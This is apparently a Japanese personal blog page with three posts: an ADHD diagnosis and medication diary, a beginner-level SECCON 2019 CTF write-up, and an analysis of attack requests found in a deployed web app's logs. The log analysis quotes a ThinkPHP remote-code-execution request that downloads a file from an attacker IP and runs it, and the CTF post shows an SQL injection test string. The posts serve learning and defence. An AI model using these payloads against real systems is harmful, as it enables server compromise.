Theories of Pleiades

技術の話とかイベントに行った話とか思ったこととか

発達障害の診断を受けたり受けなかったりした

tl;dr

  • ADHDの診断を受けた
  • おくすりがすごい


経緯


…という事件があり,前からそれっぽい症状があるなとは薄々感じていたので病院予約して受診しました。

1ヶ月待ちでした。


具体的には,

  • 雨の日に傘を持って出ると99%どっかで忘れる(大体電車とかコンビニ)
  • 飛行機の予約日程を間違える(これ2回やった)
  • 授業サボって旅行に行くつもりがサボりすぎて旅行に行ったら出席数が足りないことに気付き飛行機をキャンセル
  • ↑そもそも当たり前のように授業をサボったり早退する
  • 1人で電車やバスに乗れない(3~5分ぐらい時刻表を覚え間違え目の前で逃す)
  • 就活の面接やバイトのシフトなどの割と重要めな予定を大忘却する
  • 試験の点は良いのにレポートが悪くて成績落とす

って感じです。特に飛行機取り違えたりキャンセルしたりDVD返し忘れたりはその度に想定外の出費がn万円出るので流石になって感じですね。


っていう話を学校のカウンセラーにしたら「それはADHDっぽいね(笑)」と言われたのもあり受診しました。

まあTSUTAYAに延滞金1万払ったり航空会社にキャンセル料払ったりするぐらいなら病院に払ったほうがまだマシやね。


受診

なんか普通~~~~~~~~の問診票を書かされてクソびっくりした。

20分ぐらいカウンセリング?問診?みたいなのして無事ADHDと診断されました。

不注意で無限に金が減っていく話を切実にしたら「それは…困るよね…」とある種の同情?を受けました。


「本当はもっと詳しく子供の頃の話を聞いたりしないといけないんだけど…まあ診断はADHDで良いでしょう」
↑これマジでどうしようもない感じしてつらいからやめて


「薬で症状が緩和されるならそれが良いですね」とお願いしたらTLで人気のストラテラ(のジェネリック)を処方されました。

問診+薬(2週間分)で4010円なので思ったよりはだいぶ安かったです。

2週間後から朝夕の2錠になるらしいけど今は夕方の1錠だけ。


薬の話

ここを記録として残すためにブログを書いているまである。書き残しておかないと違いがわからなくなりそうだったので。


まず1日目,夜中に2,3回ぐらい起きて「うっわ聞いてた通りじゃん」って思った。

…が,そのかわり(かわりか?)目覚めが天才的に良かったです。

👆はしゃぐhsm_hx


正直もう起床が希望的なだけで全ての活力が湧いてくるまである。この日はレポートを書いたりなんかいろいろ普段なら絶対できないようなことをしてしまった(?)のですが,薬の効果なのかテンションが高かったのかよくわからなかったのが残念。


2日目以降はまあそこそこ?って感じでした。一番凄かったのは間違いなく1日目でした。

土日はまあ寝ても良いと思うと結構寝ちゃう感じがあります。起きろって言われれば無理なく起きられる程度。


あと薬飲み始めてからフットワークがめっちゃ軽いです。

いつもなら休日は13時に起床して15時ぐらいまで布団でTwitterして1時間掛けてTwitterしながら飯食って…でTwitterしてたら20時で…風呂入ろうと思ってもTwitterから離れられなくて1時間2時間…

みたいなことをしていたんですが,休日午後に起きても掃除してサッカー見てTwitter覗いて掃除してプログラミングして本読んで~とかめちゃくちゃ充実した時間を過ごせるようになりました。健常者の休日ってこんなに長いんだと思った。


具体的に感じた効果で言うと,

  • 鼻歌が減った(授業中とか割と構わず鼻歌歌ってる節があった)
  • 先延ばし癖がちょっと良くなった(気持ちの問題か?)
  • やらないといけないことを思い出せるようになった
  • Twitterに気を取られることが減った(集中できるようになった?)
  • 朝起きれるようになった

って感じです。マジでヤバい。2~3日目辺りあんまりはっきり効果感じない気がするなとか思ってたけど今週に入ってからだいぶ違いがわかるような気がしてきました。


で,あまりにいろいろ上手く行くので嬉しくなってなんと1年半振りに試験勉強をしたりしてしまいました。

薬飲み始めてからはレポートも全提出+滞納レポートをほぼ全て片付けた。褒めても良いよ。


ネットで調べると副作用が~とか結構言われていましたが今のところは特に…って感じです。

頭痛とか吐き気もないし食欲は全然あります。夜中に目が覚めるぐらいかな…


まとめ

心当たりがある人は一度病院に行ってみると良かったり悪かったりするかもしれません。向き不向きとかは当然ある。

まあでもぼくみたいにDVDの延滞で10000円飛ばしたり飛行機キャンセルで25000円飛ばしたりを常習的にやりたくなければ行くべきかもねという感じです。

もう二度とDVD延滞したり飛行機取り間違えたりしない

SECCON Beginners CTF 2019 Write-up

tl; dr

  • チームconbuで部活のCTF班の後輩たちと出ました
  • チーム順位180位,得点数510pt
  • 個人順位190位,得点数510pt
  • Web解けないのマジでWeb屋やめろ


Web - [warmup] Ramen

提示されたWebサイトの下の方にGETリクエストを送ってるフォームがある。

SQLを発行しているっぽいのでa' 1 = 1 --とか入れると全部出てくるのでSQLiが効くっぽい。

これ以上何もわからんかった。Web屋やめま〜す


Web - katsudon

店舗一覧に

BAhJIhByZWl3YWhhbnRlbgY6BkVU--bc5614afcef948624ebc137432c2dcdc624111b6

BAhJIhNoZWlzZWlzaG9rdWRvdQY6BkVU--f9aa81191fb073fb87bfa71b20c02bf3a30d1b10

BAhJIhRyZXN0YXVyYW50c2hvd2EGOgZFVA==--a78497e11151cffc45af945a1a243138b6084140

の3つのシリアルコードがある。


問題文で提示されていたコードにRails.application.message_verifierとあり,Railsの標準機能っぽいので調べてみると,文字列をbase64エンコードしたものとsha1でハッシュしたものを--でつないで出力したりするらしい。

実際に--の前をbase64でデコードしてみるとreiwahantenとかheiseishokudouとかが出てきます。

フラグはBAhJIiVjdGY0YntLMzNQX1kwVVJfNTNDUjM3X0szWV9CNDUzfQY6BkVU--0def7fcd357f759fe8da819edd081a3a73b6052aとして与えられていたので,これも同じようにbase64でデコードすると


ctf4b{K33P_Y0UR_53CR37_K3Y_B453}


Reversing - [warmup] Seccompare

圧縮ファイルが与えられるので解凍する。

2つファイルが出てくるが片方はMacOSの何かっぽいので無視して実行ファイルをltraceしてみる。


ctf4b{5tr1ngs_1s_n0t_en0ugh}


Reversing - leakage

圧縮ファイルを解凍して実行ファイルを動かしてみる。


何もわからんのでgdbで動かしながらいろいろ探ってみると,まずstrlenの結果が34であるかどうかみたいなところを見ているので,フラグは34文字っぽい。

適当な34文字の文字列を与えて実行してみると,どうもis_correctという関数内でループさせながら1文字ずつASCIIコードと比較してるっぽい。


convert関数がASCIIコードを吐いてるっぽいができれば読みたくないのでとりあえずブレークポイントを貼って,レジスタの中身を見てみると,この後のcmp %al,-0x5(%rbp) でn文字目とASCIIコードを照合していることがわかる。

あとは根気よく1文字ずつ照合しながらgdbで処理を追ってみると答えが出てくる。


ctf4b{le4k1ng_th3_f1ag_0ne_by_0ne}


Crypto - [warmup] So Tired

圧縮ファイルを解凍するとencrypted.txtが出てくる。やたら長いなと思いながら末尾を見てみると==とか付いてるのでどうもbase64っぽい。


$ base64 -d encrypted.txt > decoded
$ file decoded

としてみるとzlib compressed fileと言われたので,pythonで以下のようにファイルを解凍するコードを書いた。

import zlib

import_data = open("decoded", "rb").read()
decompress_data = zlib.decompress(import_data)

output = open("output", "wb")
output.write(decompress_data)


これを実行すると,出てきたoutputファイルはまたbase64エンコードされているっぽい。

一瞬脳味噌がバグったけど冷静にdiff encrypted.txt outputしてみると出力があるので,違うものになってるっぽい。多分何度も何度も圧縮してはエンコードしてを繰り返してる。


#!/bin/sh

while [ TRUE ]
do
  python ../zlibdec.py
  base64 -d output > decoded
done

とか書いてエラーが出たら手動で止める脳筋プレイをしました。outputを見てみると,


ctf4b{very_l0ng_l0ng_BASE64_3nc0ding}

終わり。


Misc - [warmup] Welcome

言われた通りにやるだけ。フラグは忘れました。


Misc - containers

与えられたファイルはfileコマンドでは判別不可能。hexdumpで中を見てみると,PNGとかFILE Xとかが続いているので,複数のPNGファイルが一つのファイルとしてまとめられているっぽい。

圧縮とかされてたら完全にわからん終わりと思ったけど一番下にはpythonスクリプトがべたーと貼ってあるのでそういう感じではなさそう。

脳味噌ゼロなのでvimを使ってひとつひとつファイルを取り出してみると,37個のpngファイルに1文字ずつアルファベットが書かれている。順番にctf4b{と始まっていたがその後は全部謎の16進数っぽい。


Pythonスクリプトに入れて動かしてみてもwrongとか言われちゃうし何もわからん。


総評

今まで出たCTFの大会では一番たくさん解けた(今までが解けなさすぎたので)。

pwnとか何百回やっても解ける気しないし勉強不足です。


余談ですが,この前日・前々日に「ハロー、『Hello, world』」という本を読んでgdbの使い方に慣れたり知らないアセンブリの記法を勉強したりしてました。

唐突にLinuxカーネルを読まされたりはしますが普通に面白いし,何もわからなくても手を動かすことで学べることはたくさんあるので良い本だと思います。おすすめです。


部活のチームで出たのに一人で解いてしまいました。

まあメンバーみんなガチ初心者だったので仕方ないかなと思っています。チーム全体としてもぼく個人としてももっと勉強しないとな〜

Webアプリを公開したら攻撃を受けた話

TL;dr

  • Webやるならセキュリティの勉強をしろ
  • サーバのログは保存しよう
  • WordPressは狙われやすいので気をつけて扱う


Webアプリをデプロイした

2月に福井県で行われたハッカソンに出たときのプロダクトが動くようになったので公開しました。

ハッカソンの詳細は以下記事から↓

mwc922-hsm.hatenablog.com


公開したアプリは「観光地などでどこに行って良いかわからないときに他人の足あとを参考にできればいいよね」というので,以下から実際に使うことができます。

hsm-hx.work


アプリの構成

ざっくり書くと,VPS上にDockerでGolangMySQLのコンテナを立てています。

バックエンドの一部とフロントエンドのデザイン,CSS,一部スクリプトを担当しました。


サーバが攻撃を受けた

寝て起きたらアプリにバグが見つかったので修正ついでにログを眺めてみました。

思ったよりアクセスされていてうおーすごいと思いながらログを遡っていたら突然大量の404が吐かれている部分を発見。


大体こんな感じ。

404 GET  /payload.php
404 GET  /images/!.php
404 POST  /9678.php
404 POST  /db.init.php
404 POST  /wp-admins.php
404 POST  /m.php?pbid=open


途中にxiao.phpだとかzuoshou.phpとかへのアクセスがあったのを見る限り中国からの攻撃なのかな?


ほとんどの攻撃が同じIPアドレスからでしたが,一部別のIPアドレスからの攻撃も混ざっていました。


個別の攻撃をちょっと詳しく調べてみた

1. POST /wp-content/plugins/fAaWBH.php

WordPressの特定のプラグイン脆弱性を利用した攻撃なのかな?と思ったらそうではなかった。

プラグインにアクセスしているのであれば/wp-content/[プラグイン名]となるらしいです。


調べてみるとWebShellが存在するか確認している攻撃の一種らしいです。

WebShellというのはWeb上からサーバのシェルにコードを送り込むためのエンドポイントみたいなやつで,他の攻撃者がこれをサイト上に設置していた場合いろいろな攻撃者からこのWebShellを通してサーバに攻撃が飛んでくるというわけです。怖い。


リクエストボディには特に意味のないコードが仕込まれているらしく,その実行結果が正しく返ってきたらWebShellが設置されているということで次の攻撃が掛かってくるみたいな仕組みらしい。

WebShellなるものの存在を初めて知ったので今度実験してみようと思います。


2. POST /index.php?s=captcha

一連の攻撃が全てリクエスト先がphpファイルだった辺りWordPressのサイトを標的にした攻撃っぽい…と思ったらそうではないらしい。

調べてみると,ThinkPHPの脆弱性を利用した攻撃ということがわかりました。

ThinkPHPというのは中国で人気のある(あった?)フレームワークで,調べてみると任意のコードが実行できる脆弱性が一時騒動になったらしいです。なるほど。


個人的に「フレームワークを使っていれば大抵の脆弱性は防げる」みたいな気持ちがあったのでちょっと驚いてしまった。セキュリティはいつでも意識しておかなければいけません。


3. GET /phpMyAdmin/index.php

やたらいろいろなパスでphpMyAdminへのアクセスを試していました。

/pmd/index.phpとか,/pma2/index.phpとか,db/index.php/admin/pma/index.php/mysql-admin/index.phpとかとか。


これについては特に書くこともありませんが,MySQLのWebUIへの接続を試みています。

フォロワーさんが教えてくれた記事にこの攻撃を詳しく解析してみた話が載っていたので紹介しておきます。

graneed.hatenablog.com


4. GET /index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]=wget%20http://[IPアドレス]/a_thk/sh%20-O%20/tmp/a;%20chmod%200777%20/tmp/a;%20/tmp/a;

クエリの様子からも分かる通りこれも2番目のものと同じようにThinkPHPの脆弱性を利用した攻撃。URLのIPアドレスは伏せました。

中をなんとなく読んでみると,あるサーバのファイルをダウンロードして実行権限を付け,実行する…みたいなコードっぽい?


それにしてもGETリクエストからshell_execとか呼べるってどんな脆弱性だよ酷すぎるだろ。


5. GET /index.action

これはApache Struts2脆弱性S2-045(CVE-2017-5638)を利用した攻撃とのことで,任意のコードが実行可能な脆弱性らしいです。厳しい。
似たような攻撃にGET /index.doというリクエストがありましたが,これも同じものっぽい。


まとめ

実際にサーバを公開してログを取ってみないと得られない経験をしました。確かにググれば出てくることではあるけど一瞬ちょっとビビった。

今回は全部自動のスクリプトによる無差別攻撃だった(多分)ので良かったけど自分のサーバが狙われたらと思うと怖いですね。


今回の開発にはチームの方の提案でDockerを使っていたのですが,適切にアプリケーションをコンテナ化すると使いやすいだけでなく万が一攻撃を受けたときの被害をコンテナの中だけに抑えられるので嬉しい気がします。


また,WordPressをアルバイトで扱っていたことがあるので「脆弱性が多くて攻撃を受けやすいので良くない」というのは聞いたことがあったのですが,実際にこうWordPressを標的にした攻撃を目の当たりにすると実感が湧きますね。

あとこれを思い出しました。

www.excite.co.jp


ともあれローカルで動かしていては絶対にこういった経験はできないので,Web開発をしている人は実際にデプロイしてみるとまた新しい発見があるかもしれません。


参考リンク

ハニーポット観察記録(37)「WebShellの探索」 at www.morihi-soc.net

ハニーポットのログ分析(2019/02/21) - S-Owl

ハニーポットのログ分析(2019/02/19) - S-Owl

Apache Struts 2 の脆弱性 (S2-045) に関する注意喚起